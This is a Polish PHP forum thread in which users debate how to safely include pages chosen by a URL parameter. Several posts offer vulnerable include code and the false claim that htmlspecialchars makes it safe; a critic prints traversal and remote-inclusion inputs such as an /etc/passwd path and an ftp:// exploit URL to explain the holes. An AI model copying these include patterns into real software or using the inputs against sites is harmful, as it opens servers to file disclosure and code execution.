Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

 
Reply to this topicStart new topic
> Problem z Include
Fragin
post
Post #1





Grupa: Zarejestrowani
Postów: 14
Pomógł: 0
Dołączył: 2.02.2010

Ostrzeżenie: (0%)
-----


Witam.
Czy ten oto kod będzie bezpieczny? Tzn. że nikt np. nie będzie mógł podglądać plików?
Kod
<?php
    if ( $_GET['strona'] == "" ){
        include("news.php");
    }

    if ( $_GET['strona'] == "kontakt" ){
        include("kontakt.php");
    }
    else {
        include("error.php");
    }

?>

Bo troszkę go zmieniłem (w oryginale był krótszy), ale teraz jest problem bo jeśli wpisze samą nazwę strony (coś.pl) to zawartość news.php pojawia się dwa razy... A jeśli po strona= będzie np. omg to skrypt zamiast error.php pokazuje news.php. Można coś z tym zrobić? Szczególnie, że dość wolno to chodzi.
Dziękuje za pomoc

Ten post edytował Fragin 2.02.2010, 23:06:29
Go to the top of the page
+Quote Post
skowron-line
post
Post #2





Grupa: Zarejestrowani
Postów: 4 340
Pomógł: 542
Dołączył: 15.01.2006
Skąd: Olsztyn/Warszawa

Ostrzeżenie: (0%)
-----


Lepiej użyj switch
  1.  
  2. $site = htmlspecialchars( $_GET[ 'site' ] );
  3.  
  4. switch( $site )
  5. {
  6. case 'news': include_once( 'news.php' ); break;
  7. case 'kontakt': include_once( 'kontakt.php' ); break;
  8. default: error.php;
  9. }
  10.  


--------------------
I'm so fast that last night I turned off the light switch in my hotel room and was in bed before the room was dark - Muhammad Ali.
Peg jeżeli chcesz uprawiać sex to dzieci muszą wyjść, a jeżeli chcesz żeby był dobry ty też musisz wyjść - Al Bundy.

QueryBuilder, Mootools.net, bbcradio1::MistaJam
http://www.phpbench.com/
Go to the top of the page
+Quote Post
Fragin
post
Post #3





Grupa: Zarejestrowani
Postów: 14
Pomógł: 0
Dołączył: 2.02.2010

Ostrzeżenie: (0%)
-----


Ooo... dzięki. Zaraz spróbuje czy działa.
Rozumiem, że to bezpieczna metoda?
Go to the top of the page
+Quote Post
skowron-line
post
Post #4





Grupa: Zarejestrowani
Postów: 4 340
Pomógł: 542
Dołączył: 15.01.2006
Skąd: Olsztyn/Warszawa

Ostrzeżenie: (0%)
-----


Bezpieczny gwarantuje to funkcja htmlspecialchars która ma przeciwdziałać atakom typu XSS.

Oczywiście dla większej ilości podstron będzie to uciążliwe dopisywanie cały czas do switch.

  1. <?php
  2.  
  3. if( isset( $_GET[ 'site' ] )
  4. {
  5. $site = htmlspecialchars( $_GET[ 'site' ] );
  6. if( file_exists( $site .'.php' ) == TRUE )
  7. {
  8. include_once( $site .'.php' );
  9. }
  10. else
  11. {
  12. include_once('error.php' );
  13. }
  14. }
  15. else
  16. {
  17. include_once( 'strona_glowna.php' );
  18. }
  19.  
  20. ?>


--------------------
I'm so fast that last night I turned off the light switch in my hotel room and was in bed before the room was dark - Muhammad Ali.
Peg jeżeli chcesz uprawiać sex to dzieci muszą wyjść, a jeżeli chcesz żeby był dobry ty też musisz wyjść - Al Bundy.

QueryBuilder, Mootools.net, bbcradio1::MistaJam
http://www.phpbench.com/
Go to the top of the page
+Quote Post
Fragin
post
Post #5





Grupa: Zarejestrowani
Postów: 14
Pomógł: 0
Dołączył: 2.02.2010

Ostrzeżenie: (0%)
-----


Kod
Parse error: syntax error, unexpected '{' in index.php on line 30

Co w kodzie odpowiada temu miejscu:

Cytat
if( isset( $_GET[ 'site' ] )
{


Ten post edytował Fragin 2.02.2010, 23:32:31
Go to the top of the page
+Quote Post
skowron-line
post
Post #6





Grupa: Zarejestrowani
Postów: 4 340
Pomógł: 542
Dołączył: 15.01.2006
Skąd: Olsztyn/Warszawa

Ostrzeżenie: (0%)
-----


Cytat(Fragin @ 2.02.2010, 23:31:56 ) *
Kod
Parse error: syntax error, unexpected '{' in index.php on line 30

Co w kodzie odpowiada temu miejscu:

Jak widać na Avatarze po lewej stronie nosze okulary i nie zauważyłem że za mało nawiasów jest.


--------------------
I'm so fast that last night I turned off the light switch in my hotel room and was in bed before the room was dark - Muhammad Ali.
Peg jeżeli chcesz uprawiać sex to dzieci muszą wyjść, a jeżeli chcesz żeby był dobry ty też musisz wyjść - Al Bundy.

QueryBuilder, Mootools.net, bbcradio1::MistaJam
http://www.phpbench.com/
Go to the top of the page
+Quote Post
Fragin
post
Post #7





Grupa: Zarejestrowani
Postów: 14
Pomógł: 0
Dołączył: 2.02.2010

Ostrzeżenie: (0%)
-----


Nie twoja wina. W którym miejscu ma być nawias w takim razie?
Go to the top of the page
+Quote Post
skowron-line
post
Post #8





Grupa: Zarejestrowani
Postów: 4 340
Pomógł: 542
Dołączył: 15.01.2006
Skąd: Olsztyn/Warszawa

Ostrzeżenie: (0%)
-----


Cytat(Fragin @ 2.02.2010, 23:35:15 ) *
Nie twoja wina. W którym miejscu ma być nawias w takim razie?


Stary chcesz programować a nie potrafisz namierzyć prostego błędu.
  1. if( issset( $_GET[ 'site' ] )) <------------tu 2 otwarajace nawiasy i 2 zamykające


Nie pisz więcej takich postów bo mod waranem Cie nagrodzi i nie chodzi tu o domowego pupila.


--------------------
I'm so fast that last night I turned off the light switch in my hotel room and was in bed before the room was dark - Muhammad Ali.
Peg jeżeli chcesz uprawiać sex to dzieci muszą wyjść, a jeżeli chcesz żeby był dobry ty też musisz wyjść - Al Bundy.

QueryBuilder, Mootools.net, bbcradio1::MistaJam
http://www.phpbench.com/
Go to the top of the page
+Quote Post
Fragin
post
Post #9





Grupa: Zarejestrowani
Postów: 14
Pomógł: 0
Dołączył: 2.02.2010

Ostrzeżenie: (0%)
-----


Nie przesadzasz trochę? Ja się grzecznie pytam i od razu jakimś "waranem" mi grozisz?
A tak w ogóle. Nadal nie działa.
Kod
Fatal error: Call to undefined function issset() in index.php on line 29

oto linijka:
Kod
if( issset( $_GET[ 'site' ] ))
Go to the top of the page
+Quote Post
pyro
post
Post #10





Grupa: Zarejestrowani
Postów: 2 148
Pomógł: 230
Dołączył: 26.03.2008

Ostrzeżenie: (0%)
-----


Zajrzyj do manuala i poszukaj tam funkcji "issset()". Nie ma takiej, prawda? Za to jest isset()


--------------------
ET LINGUA EIUS LOQUETUR IUDICIUM
Go to the top of the page
+Quote Post
Fragin
post
Post #11





Grupa: Zarejestrowani
Postów: 14
Pomógł: 0
Dołączył: 2.02.2010

Ostrzeżenie: (0%)
-----


Ooo... nie wywaliło żadnego błedu. Jutro zobaczę czemu jest jednak nic nie widać, być może usunełem pliki z serwera.
Dzięki za pomoc

//Jednak wszystko działa, dziękuje za pomoc jeszcze raz, można zamknąć!

Ten post edytował Fragin 3.02.2010, 00:32:36
Go to the top of the page
+Quote Post
XianN
post
Post #12





Grupa: Zarejestrowani
Postów: 57
Pomógł: 9
Dołączył: 12.11.2005
Skąd: ze wnowu?!

Ostrzeżenie: (0%)
-----


Cytat(skowron-line @ 2.02.2010, 23:19:50 ) *
Bezpieczny gwarantuje to funkcja htmlspecialchars która ma przeciwdziałać atakom typu XSS.

Panie! Jak masz Pan takie rozwiazania polecac to moze sie akwizycja trojanow zajmij!
htmlspecialchars() nieczego tutaj nie gwarantuje, bo to zupelnie inna dzialka. XSS to atak na klienta po stronie przegladarki, a nie na serwer. Nazwy plikow natomiast niewiele maja wspolnego z html (poza rozszerzeniem w specyficznym wypadku...). Czas sie przeprosic z googlem.
Cytat(skowron-line @ 2.02.2010, 23:19:50 ) *
Oczywiście dla większej ilości podstron będzie to uciążliwe dopisywanie cały czas do switch.

Trudno. Mozesz sobie zrobic tablice i sprawdzac czy podana wartosc w $site jest jedna z wartosci, to bedziesz mial cos ala white list.

A do tego kodu, to moze malutkie omowienie jeszcze, zeby nikt nigdy wiecej takiego potworka na zywa strone nie wsadzil, bo ostatnio widzialem takie rozwiazanie u wroclawskiej firmy zajmujacej sie m. in. audytem bezpieczenstwa (sic!).

  1. if( isset( $_GET[ 'site' ] ) // parametr podajemy - w koncu chcemy manipulowac...
  2. {
  3. /**
  4.   /* nic nie robi w rzeczywistosci.
  5.   /* ./*;^ nie tknie aniani, dopiero < lub > sie przyczepi.
  6.   /* ../../../../../../../etc/passwd jest ok i pozostanie niezmienione przez htmlspecialchars
  7.   */
  8. $site = htmlspecialchars( $_GET[ 'site' ] );
  9.  
  10. /**
  11.   /* Jesli z jakichs powodow allow_url_fopen jest odpalone to juz jest masakra.
  12.   /* HTTP co prawda nie obsluguje stat(), ale FTP juz tak, zatem file_exists() zwroci === true
  13.   /* jesli znajdzie plik. Wynik?
  14.   /* http ://stronka.pl/index.php?site=ftp://chaker.pl/exploit i mamy problem.
  15.   /*
  16.   /* Wersja alternatywna - http ://stronka.pl/index.php?site=index i mamy rekurencje wcinajaca pamiec jak pacman kuleczki.
  17.   */
  18. if( file_exists( $site .'.php' ) == TRUE )
  19. {
  20. include_once( $site .'.php' );
  21. }
  22. else
  23. {
  24. include_once('error.php' );
  25. }
  26. }
  27. else
  28. {
  29. include_once( 'strona_glowna.php' );
  30. }
  31.  
  32. ?>


--------------------
Yes, sex is always the answer, it's never a question
Cos' the answers yes, oh the answers yes.
Not just a suggestion, if you ask the question
Then its always yes, yeah!
Go to the top of the page
+Quote Post
Fifi209
post
Post #13





Grupa: Zarejestrowani
Postów: 4 655
Pomógł: 556
Dołączył: 17.03.2009
Skąd: Katowice

Ostrzeżenie: (0%)
-----


A ja robię to tak:
  1. if ($_GET['action']) {
  2. if (file_exists('actions/'.$_GET['action'].'.php')) {
  3. include_once('actions/'.$_GET['action'].'.php');
  4. }else{
  5. echo 'Not Found';
  6. }
  7. }else{
  8. //include_once('actions/news.php');
  9. }


Zaraz ktoś powinien czepić się zabezpieczeń, ale wszystko lata przez .htaccess więc dziwne znaki i tak nie przejdą.


--------------------
Zainteresowania: C#, PHP, JS, SQL, AJAX, XML, C dla AVR
Chętnie pomogę, lecz zanim napiszesz: Wujek Google , Manual PHP
Go to the top of the page
+Quote Post
XianN
post
Post #14





Grupa: Zarejestrowani
Postów: 57
Pomógł: 9
Dołączył: 12.11.2005
Skąd: ze wnowu?!

Ostrzeżenie: (0%)
-----


Cytat(fifi209 @ 3.02.2010, 06:19:18 ) *
Zaraz ktoś powinien czepić się zabezpieczeń, ale wszystko lata przez .htaccess więc dziwne znaki i tak nie przejdą.

Mozesz pokazac ten kawalek .htaccess ?


--------------------
Yes, sex is always the answer, it's never a question
Cos' the answers yes, oh the answers yes.
Not just a suggestion, if you ask the question
Then its always yes, yeah!
Go to the top of the page
+Quote Post
Fifi209
post
Post #15





Grupa: Zarejestrowani
Postów: 4 655
Pomógł: 556
Dołączył: 17.03.2009
Skąd: Katowice

Ostrzeżenie: (0%)
-----


Cytat(XianN @ 3.02.2010, 14:37:22 ) *
Mozesz pokazac ten kawalek .htaccess ?


Kod
RewriteRule ^([a-z]+)/$ index.php?action=$1 [L]


Proszę. smile.gif


--------------------
Zainteresowania: C#, PHP, JS, SQL, AJAX, XML, C dla AVR
Chętnie pomogę, lecz zanim napiszesz: Wujek Google , Manual PHP
Go to the top of the page
+Quote Post
XianN
post
Post #16





Grupa: Zarejestrowani
Postów: 57
Pomógł: 9
Dołączył: 12.11.2005
Skąd: ze wnowu?!

Ostrzeżenie: (0%)
-----


No dobrze, ale brakuje fragmentu, ktory chroni przed wpisaniem index.php?action=../index bezposrednio w przegladare.


--------------------
Yes, sex is always the answer, it's never a question
Cos' the answers yes, oh the answers yes.
Not just a suggestion, if you ask the question
Then its always yes, yeah!
Go to the top of the page
+Quote Post
Fifi209
post
Post #17





Grupa: Zarejestrowani
Postów: 4 655
Pomógł: 556
Dołączył: 17.03.2009
Skąd: Katowice

Ostrzeżenie: (0%)
-----


Cytat(XianN @ 4.02.2010, 18:06:21 ) *
No dobrze, ale brakuje fragmentu, ktory chroni przed wpisaniem index.php?action=../index bezposrednio w przegladare.

A skąd wiesz na jaki adres przekierowuję przez .htaccess?


--------------------
Zainteresowania: C#, PHP, JS, SQL, AJAX, XML, C dla AVR
Chętnie pomogę, lecz zanim napiszesz: Wujek Google , Manual PHP
Go to the top of the page
+Quote Post
XianN
post
Post #18





Grupa: Zarejestrowani
Postów: 57
Pomógł: 9
Dołączył: 12.11.2005
Skąd: ze wnowu?!

Ostrzeżenie: (0%)
-----


Security through obscurity - Wikipedia, warto, zebys przeczytal na poczatek, potem wiecej o bezpieczenstwie informacji, a nastepnie zastanowil sie nad tematem.
Cytat
Jeśli wezmę list, zamknę go w sejfie, ukryję sejf gdzieś w Nowym Jorku i każę Ci go przeczytać, to nie jest bezpieczeństwo. To niejawność. Z drugiej strony, jeśli wezmę list, zamknę go w sejfie, a następnie przekażę Ci ten sejf wraz z jego specyfikacją techniczną oraz setką identycznych sejfów z ich kodami, abyś razem z najlepszymi włamywaczami świata mógł przestudiować jego zabezpieczenia – a Ty nadal nie będziesz go mógł otworzyć i przeczytać listu – to właśnie jest bezpieczeństwo.
— Bruce Schneier, Applied Cryptography


--------------------
Yes, sex is always the answer, it's never a question
Cos' the answers yes, oh the answers yes.
Not just a suggestion, if you ask the question
Then its always yes, yeah!
Go to the top of the page
+Quote Post
Fifi209
post
Post #19





Grupa: Zarejestrowani
Postów: 4 655
Pomógł: 556
Dołączył: 17.03.2009
Skąd: Katowice

Ostrzeżenie: (0%)
-----


Zastanowiłbyś się nad tym co piszesz. Mogę to równie dobrze przekierować na pliki html. winksmiley.jpg Póki nikt nie ma dostępu do mojego serwera to nikt nie dowie się na jakiej zasadzie działa mój skrypt i jak przepisywane są adresy.


--------------------
Zainteresowania: C#, PHP, JS, SQL, AJAX, XML, C dla AVR
Chętnie pomogę, lecz zanim napiszesz: Wujek Google , Manual PHP
Go to the top of the page
+Quote Post
XianN
post
Post #20





Grupa: Zarejestrowani
Postów: 57
Pomógł: 9
Dołączył: 12.11.2005
Skąd: ze wnowu?!

Ostrzeżenie: (0%)
-----


Dobrze, ze do kodu zrodlowego Internet Explorera nikt nie ma dostepu, bo mogloby sie okazac, ze jest tam blad... A tak to prosze, nigdy nikt nic nie znajdzie smile.gif Cale z reszta szczescie, bo IE ma tyu uzytkownikow - mogliby byc zagrozeni!


--------------------
Yes, sex is always the answer, it's never a question
Cos' the answers yes, oh the answers yes.
Not just a suggestion, if you ask the question
Then its always yes, yeah!
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 20.08.2025 - 12:45